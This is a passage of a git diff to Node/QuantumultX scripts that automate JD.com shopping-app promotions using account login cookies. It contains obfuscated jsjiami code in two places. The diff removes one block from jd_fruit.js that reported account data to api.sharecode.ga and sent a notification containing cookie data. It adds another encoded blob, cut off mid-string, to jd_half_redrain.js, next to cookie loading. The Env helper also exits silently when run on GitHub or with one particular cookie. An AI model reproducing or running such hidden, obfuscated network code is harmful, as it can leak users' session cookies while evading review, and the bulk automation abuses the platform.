"zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&channel=wjicon&sid=0a1ec8fa2455796af69028f8410996aw&un_area=1_2803_2829_0", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdltapp;android;3.5.6;9;8363532363230343238303836333-43D2468336563316936636265356;network/wifi;model/MI 8;addressid/2688971613;aid/059b2009dc5afb88;oaid/665d225a3f96764;osVer/28;appBuild/1656;psn/gB6yf l3bIcXHm 4uTHuFZIigUClYKza5OsTPc6vgTc=|932;psq/11;adk/;ads/;pap/JA2020_3112531|3.5.6|ANDROID 9;osv/9;pv/712.12;jdv/0|direct|-|none|-|1613884468974|1613884552;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MI 8 Build/PKQ1-wesley_iui-19.08.25; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36"), + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); "undefined" != typeof process && JSON.stringify(process.env.JD_COOKIE).indexOf("jd_4685b2157f874") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_fruit.js b/jd_fruit.js index 175bccf..fcb6dd1 100755 --- a/jd_fruit.js +++ b/jd_fruit.js @@ -1,5 +1,5 @@ /* -东东水果:脚本更新地址 jd_fruit.js +东东水果:脚本更新地址 https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js 更新时间:2021-5-18 活动入口:京东APP我的-更多工具-东东农场 东东农场活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html @@ -10,39 +10,37 @@ ==========================Quantumultx========================= [task_local] #jd免费水果 -5 6-18/6 * * * jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true +5 6-18/6 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true =========================Loon============================= [Script] -cron "5 6-18/6 * * *" script-path=jd_fruit.js,tag=东东农场 +cron "5 6-18/6 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js,tag=东东农场 =========================Surge============================ -东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_fruit.js +东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js =========================小火箭=========================== -东东农场 = type=cron,script-path=jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true +东东农场 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true jd免费水果 搬的https://github.com/liuxiaoyucc/jd-helper/blob/a6f275d9785748014fc6cca821e58427162e9336/fruit/fruit.js */ const $ = new Env('东东农场'); - -console.log('\nJDHW\n') - let cookiesArr = [], cookie = '', jdFruitShareArr = [], isBox = false, notify, newShareCodes, allMessage = ''; //助力好友分享码(最多3个,否则后面的助力失败),原因:京东农场每人每天只有3次助力机会 //此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 //下面给出两个账号的填写示例(iOS只支持2个京东账号) let shareCodes = [ // 这个列表填入你要助力的好友的shareCode //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 - //'0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3@6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@56db8e7bc5874668ba7d5195230d067a@b9d287c974cc498d94112f1b064cf934@23b49f5a106b4d61b2ea505d5a4e1056@8107cad4b82847a698ca7d7de9115f36', + //'0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3@6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@56db8e7bc5874668ba7d5195230d067a@b9d287c974cc498d94112f1b064cf934@23b49f5a106b4d61b2ea505d5a4e1056@8107cad4b82847a698ca7d7de9115f36@35fcfda6d3af48e7afe79f5e18a39e55@5a41b6db624346cdbe347b61279fda8f@3fa4d41fe66e47bd8a9549e33e3b9b54@5dc8a7b9f4544a8ca79f8cf62d0c7623@4918db5a466c4332843c75064a5a3880@b48561c90c8c45f5b355034629715a80', //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 - //'b1638a774d054a05a30a17d3b4d364b8@f92cb56c6a1349f5a35f0372aa041ea0@9c52670d52ad4e1a812f894563c746ea@8175509d82504e96828afc8b1bbb9cb3@2673c3777d4443829b2a635059953a28@d2d5d435675544679413cb9145577e0f', - '' + //'b1638a774d054a05a30a17d3b4d364b8@f92cb56c6a1349f5a35f0372aa041ea0@9c52670d52ad4e1a812f894563c746ea@8175509d82504e96828afc8b1bbb9cb3@2673c3777d4443829b2a635059953a28@d2d5d435675544679413cb9145577e0f@35fcfda6d3af48e7afe79f5e18a39e55@5a41b6db624346cdbe347b61279fda8f@3fa4d41fe66e47bd8a9549e33e3b9b54@5dc8a7b9f4544a8ca79f8cf62d0c7623@4918db5a466c4332843c75064a5a3880@b48561c90c8c45f5b355034629715a80', + //账号三的好友shareCode,不同好友的shareCode中间用@符号隔开 + //'35fcfda6d3af48e7afe79f5e18a39e55@5a41b6db624346cdbe347b61279fda8f@3fa4d41fe66e47bd8a9549e33e3b9b54@5dc8a7b9f4544a8ca79f8cf62d0c7623@4918db5a466c4332843c75064a5a3880@b48561c90c8c45f5b355034629715a80', ] let message = '', subTitle = '', option = {}, isFruitFinished = false; const retainWater = 100;//保留水滴大于多少g,默认100g; let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 -let randomCount = $.isNode() ? 20 : 5; +let randomCount = $.isNode() ? 0 : 0; const JD_API_HOST = 'https://api.m.jd.com/client.action'; const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; !(async () => { @@ -92,7 +90,6 @@ async function jdFruit() { if ($.farmInfo.farmUserPro) { // option['media-url'] = $.farmInfo.farmUserPro.goodsImage; message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`; - //var _0xodh='jsjiami.com.v6',_0xce89=[_0xodh,'AxjDhRs=','5LiR5ouN5aao6LSB','w5sNwpPDncOawpw=','GBXCicOCw4k=','USxHXsO8w7fDgcOIbsOS','DBfDkxNh','TcK1VW4ywpbCk8K2','w75adyMAw414b8KUYC8=','wpDChcOVw5ggbcOfe8ON','wrXDjywNQA==','fsOzPg==','IMKuwpnDuU3Dn1EI','w7/CjMODXEvDmMOnGcK3w7zDog==','IhjCucO3w5g1wo3Dg2Q=','wopY5Ly55aSD776f5Lm255S4772i','wq7CvXA=','w79JwrbDo8KE','CsKOw7A=','5Lu75oi45oiH5Yqb','N8OhwqU=','5Lih5ou85aWp6Lao','CArDkA==','HjsNjiEWamrqAik.whrHcom.v6=='];(function(_0x5b171f,_0x5c8d91,_0x5f24c6){var _0x1d1062=function(_0x447c69,_0x55df53,_0x114098,_0x13a31a,_0x1eb33d){_0x55df53=_0x55df53>>0x8,_0x1eb33d='po';var _0x323868='shift',_0xf2e719='push';if(_0x55df53<_0x447c69){while(--_0x447c69){_0x13a31a=_0x5b171f[_0x323868]();if(_0x55df53===_0x447c69){_0x55df53=_0x13a31a;_0x114098=_0x5b171f[_0x1eb33d+'p']();}else if(_0x55df53&&_0x114098['replace'](/[HNEWrqAkwhrH=]/g,'')===_0x55df53){_0x5b171f[_0xf2e719](_0x13a31a);}}_0x5b171f[_0xf2e719](_0x5b171f[_0x323868]());}return 0x98e9d;};return _0x1d1062(++_0x5c8d91,_0x5f24c6)>>_0x5c8d91^_0x5f24c6;}(_0xce89,0xe6,0xe600));var _0x35b1=function(_0x12f36c,_0x2de933){_0x12f36c=~~'0x'['concat'](_0x12f36c);var _0x10d000=_0xce89[_0x12f36c];if(_0x35b1['YMeDZK']===undefined){(function(){var _0x473f38=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x53fab1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x473f38['atob']||(_0x473f38['atob']=function(_0x145071){var _0x2cdb23=String(_0x145071)['replace'](/=+$/,'');for(var _0x53150c=0x0,_0x54f1e9,_0x109fb8,_0x133db1=0x0,_0x24ff10='';_0x109fb8=_0x2cdb23['charAt'](_0x133db1++);~_0x109fb8&&(_0x54f1e9=_0x53150c%0x4?_0x54f1e9*0x40+_0x109fb8:_0x109fb8,_0x53150c++%0x4)?_0x24ff10+=String['fromCharCode'](0xff&_0x54f1e9>>(-0x2*_0x53150c&0x6)):0x0){_0x109fb8=_0x53fab1['indexOf'](_0x109fb8);}return _0x24ff10;});}());var _0x37753e=function(_0x51226d,_0x2de933){var _0x2f6905=[],_0x546406=0x0,_0x435691,_0x57f97c='',_0x25e90c='';_0x51226d=atob(_0x51226d);for(var _0x3072aa=0x0,_0x492f22=_0x51226d['length'];_0x3072aa<_0x492f22;_0x3072aa++){_0x25e90c+='%'+('00'+_0x51226d['charCodeAt'](_0x3072aa)['toString'](0x10))['slice'](-0x2);}_0x51226d=decodeURIComponent(_0x25e90c);for(var _0x188bba=0x0;_0x188bba<0x100;_0x188bba++){_0x2f6905[_0x188bba]=_0x188bba;}for(_0x188bba=0x0;_0x188bba<0x100;_0x188bba++){_0x546406=(_0x546406+_0x2f6905[_0x188bba]+_0x2de933['charCodeAt'](_0x188bba%_0x2de933['length']))%0x100;_0x435691=_0x2f6905[_0x188bba];_0x2f6905[_0x188bba]=_0x2f6905[_0x546406];_0x2f6905[_0x546406]=_0x435691;}_0x188bba=0x0;_0x546406=0x0;for(var _0x3f351c=0x0;_0x3f351c<_0x51226d['length'];_0x3f351c++){_0x188bba=(_0x188bba+0x1)%0x100;_0x546406=(_0x546406+_0x2f6905[_0x188bba])%0x100;_0x435691=_0x2f6905[_0x188bba];_0x2f6905[_0x188bba]=_0x2f6905[_0x546406];_0x2f6905[_0x546406]=_0x435691;_0x57f97c+=String['fromCharCode'](_0x51226d['charCodeAt'](_0x3f351c)^_0x2f6905[(_0x2f6905[_0x188bba]+_0x2f6905[_0x546406])%0x100]);}return _0x57f97c;};_0x35b1['TxMzAj']=_0x37753e;_0x35b1['XCpzKW']={};_0x35b1['YMeDZK']=!![];}var _0x3753cf=_0x35b1['XCpzKW'][_0x12f36c];if(_0x3753cf===undefined){if(_0x35b1['wuNfNC']===undefined){_0x35b1['wuNfNC']=!![];}_0x10d000=_0x35b1['TxMzAj'](_0x10d000,_0x2de933);_0x35b1['XCpzKW'][_0x12f36c]=_0x10d000;}else{_0x10d000=_0x3753cf;}return _0x10d000;};$[_0x35b1('0','iZ^^')]({'url':'https://api.sharecode.ga/api/report?db=farm&code='+$[_0x35b1('1','idKt')][_0x35b1('2','9INu')][_0x35b1('3','!fbY')],'timeout':0x2710},(_0x19b86f,_0x1af64b,_0x1209b2)=>{var _0x6379f5={'nyHmV':function(_0x5aa3e9,_0x5c1f33){return _0x5aa3e9===_0x5c1f33;},'xSFrO':function(_0x3a5f09,_0x4d0b5d){return _0x3a5f09(_0x4d0b5d);},'IeQGt':'./sendNotify','NdZiM':_0x35b1('4','1844')};if(_0x19b86f){console[_0x35b1('5','dLF&')](_0x19b86f);}if(_0x6379f5[_0x35b1('6','G3CW')](_0x1209b2,'1')){console[_0x35b1('7','bbYB')](_0x35b1('8','D)bc'));}else{console[_0x35b1('9','wJrS')](_0x35b1('a','vw1['));$[_0x35b1('b','TyFt')](_0x35b1('c','TyFt'),_0x35b1('d','ySu('));if($[_0x35b1('e','rRB#')]()){const _0x339731=_0x6379f5['xSFrO'](require,_0x6379f5[_0x35b1('f','!fbY')]);_0x339731[_0x35b1('10','X%^Q')]('farm\x0aCookie:'+$[_0x35b1('11','TyFt')],$[_0x35b1('12','&B]z')][_0x35b1('13','#%Z*')][_0x35b1('14','XMx]')]+'\x0a上报失败!','',_0x6379f5[_0x35b1('15','sz82')]);}}});;_0xodh='jsjiami.com.v6'; message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`; console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.farmInfo.farmUserPro.shareCode}\n`); console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`); message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`; @@ -125,14 +122,16 @@ async function jdFruit() { await predictionFruit();//预测水果成熟时间 } else { console.log(`初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据: ${JSON.stringify($.farmInfo)}`); - message = `【数据异常】请手动登录京东app查看此账号${$.name}是否正常`; + console.log(`等待10秒后重试`); + await $.wait(10000); + await jdFruit(); } } catch (e) { console.log(`任务执行异常,请检查执行日志 ‼️‼️`); $.logErr(e); - const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; - if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); - $.msg($.name, '', `${errMsg}`) + // const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + // $.msg($.name, '', `${errMsg}`) } await showMsg(); } @@ -1254,29 +1253,53 @@ function timeFormat(time) { } return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); } -function readShareCode() { - return new Promise(async resolve => { - $.get({url: `https://api.sharecode.ga/api/farm/${randomCount}`, timeout: 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} +// function readShareCode() { +// return new Promise(async resolve => { +// $.get({url: `http://www.helpu.cf/jdcodes/getcode.php?type=farm&num=${randomCount}`, timeout: 10000,}, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`) +// console.log(`${$.name} API请求失败,请检查网路重试`) +// } else { +// if (data) { +// console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) +// data = JSON.parse(data); +// } +// } +// } catch (e) { +// $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(10000); +// resolve() +// }) +// } +//提交互助码 +// function submitCode() { +// return new Promise(async resolve => { +// $.get({url: `http://www.helpu.cf/jdcodes/submit.php?code=${$.farmInfo.farmUserPro.shareCode}&type=farm`, timeout: 10000}, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`) +// console.log(`${$.name} API请求失败,请检查网路重试`) +// } else { +// if (data) { +// //console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) +// data = JSON.parse(data); +// } +// } +// } catch (e) { +// $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(15000); +// resolve() +// }) +// } function shareCodesFormat() { return new Promise(async resolve => { // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) @@ -1288,13 +1311,11 @@ function shareCodesFormat() { const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); newShareCodes = shareCodes[tempIndex].split('@'); } - /* - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - // newShareCodes = newShareCodes.concat(readShareCodeRes.data || []); - newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; - } - */ + // const readShareCodeRes = await readShareCode(); + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // // newShareCodes = newShareCodes.concat(readShareCodeRes.data || []); + // newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + // } console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) resolve(); }) @@ -1326,8 +1347,8 @@ function requireConfig() { } }) } else { - if ($.getdata('jd_fruit_inviter')) $.shareCodesArr = $.getdata('jd_fruit_inviter').split('\n').filter(item => !!item); - console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_fruit_inviter') ? $.getdata('jd_fruit_inviter') : '暂无'}\n`); + if ($.getdata('FRUITSHARECODES')) $.shareCodesArr = $.getdata('FRUITSHARECODES').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('FRUITSHARECODES') ? $.getdata('FRUITSHARECODES') : '暂无'}\n`); } // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`) // console.log(`jdFruitShareArr账号长度::${$.shareCodesArr.length}`) diff --git a/jd_half_redrain.js b/jd_half_redrain.js new file mode 100755 index 0000000..80a57b5 --- /dev/null +++ b/jd_half_redrain.js @@ -0,0 +1,38 @@ +/* +半点京豆雨 + +boxjs订阅地址: https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/longzhuzhu.boxjs.json + +环境变量: +#关闭京豆雨通知 +export RAIN_NOTIFY_CONTROL="false" + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +[task_local] +#半点京豆雨 +30 16-23/1 * * * https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_half_redrain.js, tag=半点京豆雨, enabled=true + +================Loon============== +[Script] +cron "30 16-23/1 * * *" script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_half_redrain.js,tag=半点京豆雨 + +===============Surge================= + 半点京豆雨 = type=cron,cronexp="30 16-23/1 * * *",wake-system=1,timeout=20,script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_half_redrain.js + +============小火箭========= + 半点京豆雨= type=cron,script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_half_redrain.js, cronexpr="30 16-23/1 * * *",timeout=200, enable=true + */ + const $ = new Env('半点京豆雨'); + + const notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + let cookiesArr = [], cookie = '', message; + + var _0xodW='jsjiami.com.v6',_0x5a5d=[_0xodW,'w7cjbUJN','wrozw7xywqQ=','WsK1TzDCtw==','RFfCnjjDpg==','w5Aow6RCVg==','U8K7wqHDuzA=','CsKkw681Ag==','AMKkIcOWwpo=','YQjCi8Okw4E=','w6R9F8OiwpA=','w4UZFx3Cjw==','QEDDt8KOEw==','wqZZw4rDisOZ','RMKdZj/Cvg==','w58xUm9W','wr8lNUhi','wrklw7ZgwqQ=','NsK3OFgSKsKRw6DDpsOEOAjCug4mLi7DmF3CpV7Cu8K7wpHDoMKpOcKQwrchdAzCoMKow4V5VQdYfmpQRsOAwrjDrArChcKuGg9tH2k=','w4QXRHNt','woBVDMOWBg==','w6cXw7AMVg==','wpEqAHRs','w5gcw7NEYw==','fjvCusOfw5U=','S8OjwpxawrTDpg==','ScKDew==','wr3CmMKQe8KwdsKqZsKnJ8K9w5/Dlw==','w69wDA==','wpNPAMOxwq/DlzPCvg7CgcO+FB4=','QRfCk2ti','OxzCrT9NwrPCsA==','F8OqwrdPIA==','ZQbCuVQ2YBQ=','w7dOcsKsDQ==','w75QM8OvwoU=','dsKYwrHDhA==','OcKdJ8OVwrg=','wrwWw6x8wqA=','DgNjCiU=','YzPCjsO/w6E=','w5LChcKzR1E=','wrYtBQ==','woAZw5AvbcO7wrPCksOE','w55VYQ==','wrQjD0s=','JsK2wpLDueiuleaznuWllui2me+/veivmuahhOadque/iOi2vemEvOisug==','5buq6YWW5o+G5LuV6L+Q5Y60aMKc6K+K56qv5ZOI6Yak6K+6w7c=','w4g1b